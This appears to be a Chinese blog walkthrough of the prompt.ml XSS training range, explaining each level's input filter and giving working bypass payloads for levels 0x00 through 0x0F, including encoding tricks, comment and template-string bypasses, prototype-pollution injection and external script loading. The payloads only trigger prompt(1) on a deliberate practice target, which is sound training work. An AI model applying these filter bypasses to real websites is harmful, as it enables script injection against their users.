XSS靶场prompt.ml过关详解

前言

prompt.ml也是一个线上的白盒靶场,与之前的其他xss靶场相比,prompt靶场更加偏向于模拟真实环境下的代码,需要一定的代码审计能力才可以完成关卡。

规则:

1、成功执行prompt(1)即可获胜,payload不需要用户交互,若成功执行,界面会显示YOUWON。
2、每个payload均需要在以下浏览器测试:Chrome(最新版)、Firefox(最新版)、IE10
3、虽然大多数级别都具有所有浏览器解决方案,但有些可能没有。确保每个级别都有至少两个浏览器的解决方案。
4、最后但并非最不重要的一点是,有效载荷占用的字符较少。

0x00

在这里插入图片描述
题目分析:第一关根据分析源码得知没有过滤条件,所以直接闭合闭合input标签重新输入其他弹窗标签。

payload为:

"><script>prompt(1)</script>

在这里插入图片描述

0x01


题目分析:
本关将我们的输入数据放在<article>标签中,并用正则表达式将尖括号过滤,防止我们闭合标签。

所以我们可以使用img标签进行绕过,因为html的自动纠错机制,只输入一般标签也能自动识别运行。

payload为:

<img src=1 onerror="prompt(1)"

在这里插入图片描述

0x02

在这里插入图片描述
题目分析:
本关只过滤了=和(,没有其他限制。

因为本关将=也限制了,无法使用on事件,所以就不能使用html实体编码的形式绕过,所以本关就只能使用模板字符串来进行绕过。因为本关在<script>标签中,所以不能使用html实体编码,因为eval函数在执行时,参数必须为字符串js才能正常执行,而unicode编码不能编码符号但可以直接编码字符串,所以这里可以使用unicode编码。

payload为:

<script>eval.call `${'prompt\u00281)'}`</script>

//使用SVG标签,会提前将将XML实体解析再加入标签。这里的 &#40; 是 ( 的Unicode编码。
<svg><script>prompt&#40;1)</script>
//调用js中的eval函数
<script>eval.call`${'prompt\x281)'}`</script> 
<script>eval.call`${'alert\x281)'}`</script> 
<script>eval`${alert`1`}`</script>
<script>alert`1`</script>

在这里插入图片描述

0x03

在这里插入图片描述
分析本关代码可以得知,将我们的输入数据放在注释符中,并将-> 防止我们过滤标签
但是我们可以使用--!>来闭合标签。

payload为:

aaa--!><script>prompt(1)</script>

在这里插入图片描述

0x04

在这里插入图片描述
分析本关代码可知,我们必须要在开头输入http://prompt.ml/,否则就会提示Invalid resource.

浏览器支持这样的url:user:password@attacker.com。意思是使用user:password登录到站点attacker.com.

所以本关我们可以使用url中@符号进行外部调用,在本地新建一个test.js文件,在文件中输入prompt(1)。

输入payload:

http://prompt.ml/127.0.0.1/test.js

但是这个payload还不行,因为 / 出现在user中是不允许的。考虑到这里的正则特性和decodeURIComponent函数,所以可以使用%2f绕过。
所以应该书写为:

http://prompt.ml%2f127.0.0.1/test.js

在这里插入图片描述

注意:有的浏览器存在保护机制,不允许外部调用xss,所以需要更换浏览器尝试。

0x05

在这里插入图片描述
分析本关代码可以得知,本关将数据输入在input标签中,并过滤了>防止闭合标签,和on关键字=防止输入事件,过滤了focus,防止使用autofocus。

但是这里可以将input标签的type类型覆盖了,比如说将之覆盖成image类型,然后可以利用οnerrοr=,使用换行绕过即可。

payload为:

aaa" type="image" src=1 onerror
="prompt(1)"

在这里插入图片描述

0x06

在这里插入图片描述
通过代码和注释可以看出来,题目构造post表单,我们需要输入的格式为formURL#formDataJSON,比如http://httpbin.org/post#{“name”:“Matt”},具体过程是先提取formURL构造form表单,formURL赋值给form标签中的action,然后post内容构造input标签。

我们想嵌入代码,经常能见到类似action=”javascript:alert(1)”的内容,但是后面还过滤了document.form[0].action内容,过滤了script和data。如下图所示
在这里插入图片描述
但是过滤存在缺陷,由于存在子级tag,action 将会优先指向name为action的子tag。

所以我们在构造payload时,可以将input标签的name属性值设置为action,这样document.form[0].action指向的就不是form标签中的action了,因此过滤也就不起作用了。神奇吧。

Payload:

javascript:prompt(1)#{"action":"Matt"}

在这里插入图片描述

0x07

在这里插入图片描述
分析源码得知,题目根据#分离,每一部分赋给一个title,如果超过12字符,就截取前12个。举例
在这里插入图片描述
所以我们可以使用注释绕过长度限制
payload为:

"><script>/*#*/prompt(1/*#*/)</script>
"><svg/a=#"onload='/*#*/prompt(1)'

在这里插入图片描述

0x08

在这里插入图片描述
题目分析:过滤了\r、\n、<、/、和"。返回了// console.log(“’ + input + '”);。所以需要绕过过滤规则逃脱出双引号或者本行。

这里过滤了两个换行符,所以用到了一个特殊的编码技巧:

U+2028,是Unicode中的行分隔符。
U+2029,是Unicode中的段落分隔符。
–> 在 js 中可当注释使用

打开浏览器中的检查,使用控制台输入以下代码,复制所得结果就是我们的payload了。
在这里插入图片描述
在这里插入图片描述

0x09

在这里插入图片描述
题目分析:
这里的正则表达式,将 < 后面的第一个字母前加 _ ,比如说将<script>这样的标签替换为<_SCRIPT>。

经过查资料发现这里的关键在于toUpperCase()不仅转换英文字母,也转换一些Unicode字符,比如将 ſ 传入就可以转换为 S ,这样就可以绕过。

直接构造<ſcript>prompt(1)</ſcript>不行,因为javascript对大小写敏感,,不识别PROMPT(1)。

所以我们可以使用<svg>标签在事件中对prompt进行编码。
payload为:

<ſvg/onload="&#112;&#114;&#111;&#109;&#112;&#116;(1)"

在这里插入图片描述

0x0A

在这里插入图片描述
题目分析:
进行了html编码,然后将prompt替换为alert,并且过滤了单引号。但因为他先替换prompt再进行单引号替换为空的操作,所以我们可以构造payload为:

promp't(1)

注:encodeURIComponent()不会对 ASCII 字母和数字进行编码,也不会对这些 ASCII 标点符号进行编码:- _ . ! ~ * ' ( )。其他字符(比如:; / ? : @ & = + $,#这些用于分隔 URI 组件的标点符号),都是由一个或多个十六进制的转义序列替换的。
在这里插入图片描述

0x0B

在这里插入图片描述
题目分析:
本题正则过滤了大量的符号。

第一个思路是利用js的一个特性进行绕过。在js中,键名相同,输出后值是后面的变量的值。

可以通过下面这个例子来理解

>var array={"n":1,"n":2}
>array.n
>2

因此构造思路是构造 ","message":"prompt(1)" ,可是正则表达式中过滤了冒号,所以这种方法不可取,只能另想办法。

另一个思路是,利用js的一个神奇的语法。

在js中,(prompt(1))instanceof"1"(prompt(1))in"1" 是可以成功弹窗的(可以自己在console试一下),其中双引号里面的1可以是任何字符,这里的in或者instanceof是运算符,所以可以有这样的语法结构。
在这里插入图片描述
payload

"(prompt(1))in"
"(prompt(1))instanceof"

在这里插入图片描述

另外补充一个知识点,“1”(alert(1))虽然会提示语法错误, 但是还是会执行js语句弹框。
在这里插入图片描述

0x0C

在这里插入图片描述
题目分析:
本题修改了第十题的顺序问题,所以之前方法用不了了,只能尝试什么别的方法。所以只能试试编码或是函数,想到sql中有那种利用函数转换成字符的,尝试一下。
在这里插入图片描述

parselnt:解析一个字符串并返回指定基数的十进制整数,并且进制数的范围是2-26.

但是我们在转换prompt的时候,在26之前是没有数的,显示的都是NAN,
但是在26之后就有值了;这是因为他转换是由0-9+a-z组成的,而p是字母的第16位,
然后加上前面的10个字符,就等于26,所以才从第26位开始,
这里可能不好理解,就好比十六进制,他的最大的字母F,f拍在第6位
加上前面那个就是16进制为什么这里要写30进制,因为prompt最后一个字母是t
排在字母表的第20位置,加上前面的10个数就是30;如果使用小于30的数
就不包括了t,这样就不完整了。

所以我们可以构造payload为:

eval((630038579).toString(30))(1)

在这里插入图片描述
根据这个原理还有很多可以构造的

eval((1172936279).toString(34).concat(String.fromCharCode(40)).concat(1).concat(String.fromCharCode(41)))

eval((25).toString(30).concat(String.fromCharCode(114)).concat(String.fromCharCode(111)).concat(String.fromCharCode(109)).concat(String.fromCharCode(112)).concat(String.fromCharCode(116)).concat(String.fromCharCode(40)).concat(1).concat(String.fromCharCode(41)))

在控制台输入for((i)in(self))console.log(i),可以看到self包含了所有当前窗体的函数和变量,执行window.self也可以获得一样的结果。

0x0D

在这里插入图片描述

题目分析:JSON.parse()函数要接受一个json格式的字符串返回json格式的对象,如果传入的参数已经是json格式则会抛出异常,传入的参数被解析成json格式,格式不对则直接返回Invalid image data.,再经由extend()函数处理,extend()函数把默认值替换为指定的值后返回,然后是一个正则判断source对应的值中是否有不属于url的符号,有则删去这个值,将source属性删除。

每个对象都会在其内部初始化一个属性,就是proto,当我们访问对象的属性时,如果对象内部不存在这个属性,那么就会去proto里面找这个属性。
举例测试:
在这里插入图片描述
那么基本上就是构造{"source":"'","__proto__":{"source":"onerror=prompt(1)"}},由于前面有非法字符',则会删除,但是在替换的时候由于过滤了",无法闭合,那么正好有一种特殊的替换方式
在这里插入图片描述
测试一下
在这里插入图片描述
payload为:

{"source":"'","__proto__":{"source":"$`οnerrοr=prompt(1)>"}} 

在这里插入图片描述

太巧妙了!不过现在这种方式已经被淘汰了,在实战中基本不可能出现这种形式的xss了。

0x0E

在这里插入图片描述
题目分析:函数先把输入转换为大写,第二层将//和字母换为data:,第三层将`\\、&、+、%和空白字符,vbs替换为_,所以不能内嵌编码后的字符,由于js大小写敏感,所以只能引用外部脚本。Data URI是由RFC 2397定义的一种把小文件直接嵌入文档的方案。格式如下:

data:[<MIME type>][;charset=<charset>][;base64],<encoded data>

其实整体可以视为三部分,即声明:参数+数据,逗号左边的是各种参数,右边的是数据。

MIME type,表示数据呈现的格式,即指定嵌入数据的MIME。

  • 1、对于PNG的图片,其格式是image/png,如果没有指定,默认是text/plain。
  • 2、character
    set(字符集)大多数被忽略,默认是charset=US-ASCII。如果指定是的数据格式是图片时,字符集将不再使用。
  • 3、base64,这一部分将表明其数据的编码方式,此处为声明后面的数据的编码是base64,我们可以不必使用base64编码格式,如果那样,我们将使用标准的URL编码方式,形如%XX%XX%XX的格式。

由于本题的输入全被转换成大写的,正常的payload是无法被解析,老实说这题的官方答案都无法成功执行,看解释的大概意思我猜是火狐浏览器是可以支持大写的base64的解析,然后精心构造一个大写的base64编码,解码后恰好可以达到上面的效果,便能够成功执行,但是我实验后是失败的,我看其他人的wp也都说失败了,不是很清楚具体原因是什么。

参考payload:

"><IFRAME/SRC="x:text/html;base64,ICA8U0NSSVBUIC8KU1JDCSA9SFRUUFM6UE1UMS5NTD4JPC9TQ1JJUFQJPD4=

0x0F

在这里插入图片描述
题目分析:跟Level 7差不多,但是过滤了/*,这样就是构造关于<!---->的注释即可
payload:

(1)因为script标签中只能容纳文本,所以被script标签中包裹的注释符无法生效,
因为svg标签是会提前将将XML实体解析再加入标签,并且在xml中注释符与js注释符相同,所以需要添加<svg>标签
"><svg><!--#--><script><!--#-->prompt(1<!--#-->)</script>      

(2)FireFox和IE浏览器,最后的</script>不必要
"><svg><!--#--><script><!--#-->prompt(1)</

(3)还有一种利用模板字符串的方法
"><script>`#${prompt(1)}#`</script>

在这里插入图片描述
模板字符串 知识点:

  1. 反撇号字符 ` 代替普通字符串的引号 ’ 或 ",提供了字符串插值功能
  2. ${x}被称为模板占位符,JavaScript 将把 x 的值插入到最终生成的字符串中,也就是说`abcd${alert(1)}efgh`是可以正常执行的
    在这里插入图片描述
  • 3
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
靶场,是指为信息安全人员提供实战演练、渗透测试和攻防对抗等训练环境的虚拟或实体场地。在不同的领域中,靶场扮演着重要的角色,尤其是在网络安全领域,靶场成为培养和提高安全专业人员技能的重要平台。 首先,靶场安全从业者提供了一个模拟真实网络环境的平台。通过构建类似实际网络的拓扑结构、部署各种安全设备和应用,靶场可以模拟出多样化的网络攻防场景。这使得安全人员能够在安全的环境中进行实际操作,全面提升其实战能力。 其次,靶场是渗透测试和漏洞攻防演练的理想场所。在靶场中,安全专业人员可以模拟攻击者的行为,发现系统和应用的漏洞,并进行渗透测试,从而及时修复和改进防御机制。同时,这也为防御方提供了锻炼机会,通过对抗攻击提高防御能力。 靶场的搭建还促进了团队协作与沟通。在攻防对抗中,往往需要多人协同作战,团队成员之间需要密切配合,共同制定攻击和防御策略。这有助于培养团队合作意识,提高协同作战的效率。 此外,靶场为学习者提供了一个安全的学习环境。在靶场中,学生可以通过实际操作掌握安全知识,了解攻击技术和防御策略。这样的学习方式比传统的理论课程更加生动直观,有助于深化对安全领域的理解。 最后,靶场也是安全社区交流的平台。在靶场中,安全从业者可以分享攻防经验,交流最新的安全威胁情报,共同探讨解决方案。这有助于建立更广泛的安全社区,推动整个行业的发展。 总体而言,靶场在信息安全领域具有重要地位,为安全专业人员提供了实战演练的机会,促进了团队协作与沟通,为学习者提供了安全的学习环境,同时也是安全社区交流的重要平台。通过靶场的实践操作,安全从业者能够更好地应对不断演变的网络威胁,提高整体的安全水平。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值